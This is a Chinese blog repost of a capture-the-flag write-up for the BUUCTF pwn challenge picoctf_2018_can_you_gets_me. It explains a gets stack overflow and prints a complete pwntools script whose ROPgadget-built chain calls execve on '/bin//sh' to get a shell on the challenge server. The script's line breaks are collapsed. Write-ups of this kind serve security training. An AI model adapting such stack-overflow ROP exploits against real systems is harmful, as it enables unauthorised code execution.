[BUUCTF-pwn]——picoctf_2018_can_you_gets_me
生活随笔
收集整理的這篇文章主要介紹了
[BUUCTF-pwn]——picoctf_2018_can_you_gets_me
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
[BUUCTF-pwn]——picoctf_2018_can_you_gets_me
- 題目地址:https://buuoj.cn/challenges#picoctf_2018_can_you_gets_me
通過這道題又學到了一個知識點。ROPgadget構造rop鏈
還是先checksec一下
在IDA中,查看一下。有gets棧溢出,又有puts函數。想當然的我們想到,通過puts函數,leek出一個got表地址,找到libc的?;?#xff0c;進而找到system函數和’/bin/sh’
嘗試過后你會發現不可以,你想象不到這個puts是手寫的,你雙擊就可以知道,或者你也可以看旁邊的函數框
ROPgadget不僅僅可以幫助我們查找匯編指令的地址,它還可以幫助我們構造匯編指令
得到的構造好的系統調用獲得shell的rop鏈, 我們只需要將其作為返回地址就可以了
exploit
from pwn import * from struct import pack p = remote('node3.buuoj.cn',28293) # p = process("./PicoCTF_2018_can-you-gets-me")def payload():p = 'A' * (0x18 + 4)p += pack('<I', 0x0806f02a) # pop edx ; retp += pack('<I', 0x080ea060) # @ .datap += pack('<I', 0x080b81c6) # pop eax ; retp += b'/bin'p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; retp += pack('<I', 0x0806f02a) # pop edx ; retp += pack('<I', 0x080ea064) # @ .data + 4p += pack('<I', 0x080b81c6) # pop eax ; retp += b'//sh'p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; retp += pack('<I', 0x0806f02a) # pop edx ; retp += pack('<I', 0x080ea068) # @ .data + 8p += pack('<I', 0x08049303) # xor eax, eax ; retp += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; retp += pack('<I', 0x080481c9) # pop ebx ; retp += pack('<I', 0x080ea060) # @ .datap += pack('<I', 0x080de955) # pop ecx ; retp += pack('<I', 0x080ea068) # @ .data + 8p += pack('<I', 0x0806f02a) # pop edx ; retp += pack('<I', 0x080ea068) # @ .data + 8p += pack('<I', 0x08049303) # xor eax, eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0806cc25) # int 0x80return pshellcode = payload() p.send(shellcode) p.interactive()總結
以上是生活随笔為你收集整理的[BUUCTF-pwn]——picoctf_2018_can_you_gets_me的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [BUUCTF-pwn]——picoct
- 下一篇: [BUUCTF-pwn]——picoct